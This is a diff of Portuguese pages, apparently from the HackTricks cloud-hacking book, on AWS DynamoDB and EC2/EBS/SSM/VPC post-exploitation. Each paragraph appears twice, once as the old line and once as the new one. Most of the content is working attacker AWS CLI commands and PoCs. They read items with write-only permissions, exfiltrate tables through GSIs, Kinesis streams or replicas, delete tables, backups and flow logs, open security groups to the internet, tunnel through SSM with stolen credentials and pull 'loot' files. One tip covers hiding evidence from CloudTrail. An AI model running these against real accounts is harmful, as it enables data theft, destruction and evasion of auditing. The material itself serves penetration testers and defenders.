Se não estiver habilitado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
Se não estiver ativado, você precisará **ativá-lo** e, para isso, precisa da permissão **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para depois restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia verificar as **informações** dos backups que **não poderiam mais estar na tabela de produção**.
|
||||
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para então restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele seria capaz de verificar **informações** dos backups que **não podem mais estar na tabela de produção**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,7 +171,7 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Esta permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
Essa permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +203,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB
|
||||
**Impacto potencial:** Exploração de vulnerabilidades/bypasses adicionais ao conseguir adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Essa permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização.
|
||||
Esta permissão permite aos usuários **modificar os atributos existentes de um item ou adicionar novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá **criar um novo item** com a chave primária especificada e definir os atributos especificados na expressão de atualização.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,17 +243,17 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Um atacante com essa permissão pode **excluir uma tabela DynamoDB, causando perda de dados**
|
||||
Um atacante com essa permissão pode **excluir uma tabela DynamoDB, causando perda de dados**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
|
||||
**Impacto potencial**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
@@ -262,16 +263,16 @@ aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
|
||||
**Potencial impacto**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se isto realmente funciona
|
||||
> TODO: Testar se isso realmente funciona
|
||||
|
||||
Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir as alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
1. Habilitar um stream em uma tabela DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
@@ -284,7 +285,7 @@ aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtenha o shard iterator usando o ARN do stream:
|
||||
3. Obtenha o shard iterator usando o stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Use o shard iterator para acessar e exfiltrate dados do stream:
|
||||
4. Utilize o shard iterator para acessar e exfiltrate dados do stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações da tabela DynamoDB.
|
||||
**Potential impact**: Monitoramento em tempo real e data leakage das alterações da tabela DynamoDB.
|
||||
|
||||
### Ler itens via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem quaisquer permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao executar uma atualização inócua e solicitar `--return-values ALL_OLD`. O DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao realizar uma atualização benigna e solicitar `--return-values ALL_OLD`. DynamoDB retornará a imagem completa pré-atualização do item no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
|
||||
- Permissões mínimas: `dynamodb:UpdateItem` na tabela/chave alvo.
|
||||
- Pré-requisitos: Você deve conhecer a chave primária do item.
|
||||
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltra o item anterior na resposta):
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -320,12 +321,12 @@ aws dynamodb update-item \
|
||||
```
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso somente de escrita.
|
||||
|
||||
**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, possibilitando exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
**Impacto potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltration de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltração furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (version 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, de onde o atacante pode ler todos os itens.
|
||||
Exfiltration furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, da qual o atacante poderá ler todos os itens.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +355,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
|
||||
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
|
||||
Impacto potencial: Replicação da tabela inteira para uma Region controlada pelo atacante, levando à exfiltração de dados furtiva.
|
||||
Potential Impact: Replicação de toda a tabela para uma Região controlada pelo atacante, levando a exfiltração furtiva de dados.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao realizar um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura às chaves alvo.
|
||||
Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao executar um `Update` dentro de `TransactWriteItems` que intencionalmente falha em uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura das chaves alvo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -411,19 +412,19 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
Permissões: `dynamodb:TransactWriteItems` na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
|
||||
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de gravação transacional via os motivos de cancelamento retornados.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Contorne as restrições de leitura criando um Índice Secundário Global (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo com um valor constante entre os itens e, em seguida, `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você consiga consultar o ARN do índice.
|
||||
Contornar restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, defina esse atributo para um valor constante em todos os itens, então `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você possa consultar o ARN do índice.
|
||||
|
||||
- Permissões mínimas:
|
||||
- `dynamodb:UpdateTable` na tabela alvo (para criar o GSI com `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` nas chaves da tabela alvo (para definir o atributo indexado em cada item).
|
||||
- `dynamodb:Query` no ARN do recurso do índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passos (PoC in us-east-1):
|
||||
Passos (PoC em us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impacto potencial:** Exfiltração completa da tabela ao consultar um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
|
||||
**Impacto potencial:** Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltração contínua via Kinesis Data Streams)
|
||||
|
||||
Abusando dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem precisar de permissões de leitura na tabela.
|
||||
Abusar de DynamoDB Kinesis streaming destinations para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, cada evento INSERT/MODIFY/REMOVE é encaminhado em quase tempo real para o stream sem necessidade de permissões de leitura na tabela.
|
||||
|
||||
Permissões mínimas (atacante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` na tabela alvo
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorar o status
|
||||
- Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
- Permissões de leitura no stream Kinesis controlado pelo atacante para consumir registros: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Impacto Potencial:** Exfiltração contínua, quase em tempo real, de alterações da tabela para um Kinesis stream controlado por um atacante, sem operações de leitura diretas na tabela.
|
||||
**Impacto potencial:** Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado pelo atacante sem operações diretas de leitura na tabela.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,29 +1,29 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Pós Exploração
|
||||
# AWS - EC2, EBS, SSM & VPC Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis dele:
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um sistema de detecção de intrusões de rede (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
|
||||
|
||||
Para mais informações, consulte esta página:
|
||||
For more information check this page:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copiar Instância em Execução
|
||||
### Copy Running Instance
|
||||
|
||||
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar (ver [truques de escalonamento de privilégios EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). No entanto, outra maneira de verificar o que contém é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
|
||||
Instâncias normalmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar (veja [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que elas contêm é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,41 +49,105 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\
|
||||
Se você encontrar um **volume sem um snapshot**, você pode: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta:
|
||||
**Snapshots são backups de volumes**, que geralmente contêm **informações sensíveis**, portanto verificá-los deve revelar essas informações.\
|
||||
Se você encontrar um **volume** sem um **snapshot** você poderia: **criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Exporte um EC2 AMI diretamente para S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem snapshot sharing. Isso permite forense offline completa ou data theft enquanto mantém a rede da instância intacta.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Anexe um volume io1/io2 Multi-Attach a uma segunda instância e monte-o em read-only para extrair dados ao vivo sem snapshots. Útil quando o volume vítima já tem Multi-Attach habilitado dentro da mesma AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Crie um EC2 Instance Connect Endpoint, autorize o ingress e injete chaves SSH efêmeras para acessar instâncias privadas por um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que aparentem vir de IPs públicos confiáveis.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso em todas as regras de SG dependentes sem modificar o SG em si.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso de saída a partir de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna a falta de controles IGW/NAT para data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (source/destination, ports) fora da conta vítima para reconhecimento de longo prazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda pode **exfiltrar via DNS**.
|
||||
Mesmo que você bloqueie um EC2 para que nenhum tráfego saia, ele ainda pode exfil via DNS.
|
||||
|
||||
- **Os VPC Flow Logs não registrarão isso**.
|
||||
- Você não tem acesso aos logs DNS da AWS.
|
||||
- VPC Flow Logs não vai registrar isso.
|
||||
- Você não tem acesso aos AWS DNS logs.
|
||||
- Desative isso definindo "enableDnsSupport" como false com:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Um atacante pode chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail irá registrar essas chamadas e o atacante poderá ver o exfiltrate data nos logs do Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Você pode obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
Você pode obter mais acesso a serviços de rede abrindo portas assim:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
|
||||
É possível executar uma EC2 instance e registrá-la para que seja usada para executar ECS instances e, em seguida, roubar os dados dessas instâncias ECS.
|
||||
|
||||
Para [**mais informações, verifique isso**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
Para [**mais informações, veja isto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -91,26 +155,27 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Permissões necessárias:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é a pivotagem de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
Além da execução de comandos, o SSM permite tunelamento de tráfego, que pode ser abusado para pivoting a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isso é útil é pivoting de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
|
||||
> Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Para iniciar uma sessão é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Instale o SessionManagerPlugin na sua máquina
|
||||
2. Faça login no Bastion EC2 usando o seguinte comando:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]`
|
||||
3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
5. Faça login no EKS como o Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`
|
||||
6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost`
|
||||
7. Crie um túnel SSM da seguinte forma:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
@@ -119,39 +184,39 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente nas ferramentas de auditoria do K8s). Visto que o tráfego é tunelado através do túnel seguro do AWS SSM, você está seguro de qualquer tipo de ataques MitM.
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro do AWS SSM, você está protegido contra qualquer tipo de ataque MitM.
|
||||
|
||||
Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
Finalmente, esta técnica não é específica para atacar clusters privados EKS. Você pode definir domínios e portas arbitrários para pivotar para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
|
||||
---
|
||||
|
||||
#### Encaminhamento Rápido de Porta Local ↔️ Remota (AWS-StartPortForwardingSession)
|
||||
|
||||
Se você precisar apenas encaminhar **uma porta TCP do EC2 para o seu host local**, você pode usar o documento SSM `AWS-StartPortForwardingSession` (sem parâmetro de host remoto necessário):
|
||||
Se você só precisa encaminhar **uma porta TCP da instância EC2 para sua máquina local**, você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
O comando estabelece um túnel bidirecional entre sua estação de trabalho (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir nenhuma regra de Security-Group de entrada**.
|
||||
O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir quaisquer regras de inbound do Security-Group**.
|
||||
|
||||
Casos de uso comuns:
|
||||
Common use cases:
|
||||
|
||||
* **Exfiltração de arquivos**
|
||||
1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você deseja exfiltrar:
|
||||
* **File exfiltration**
|
||||
1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Da sua estação de trabalho, busque os arquivos através do túnel SSM:
|
||||
2. Do seu workstation, busque os arquivos através do túnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Acessando aplicações web internas (por exemplo, Nessus)**
|
||||
* **Acesso a aplicações web internas (por exemplo Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Dica: Comprimir e criptografar evidências antes de exfiltrá-las para que o CloudTrail não registre o conteúdo em texto claro:
|
||||
Dica: Compress and encrypt as evidências antes de exfiltrating, para que CloudTrail não registre o conteúdo em clear-text:
|
||||
```bash
|
||||
# On the instance
|
||||
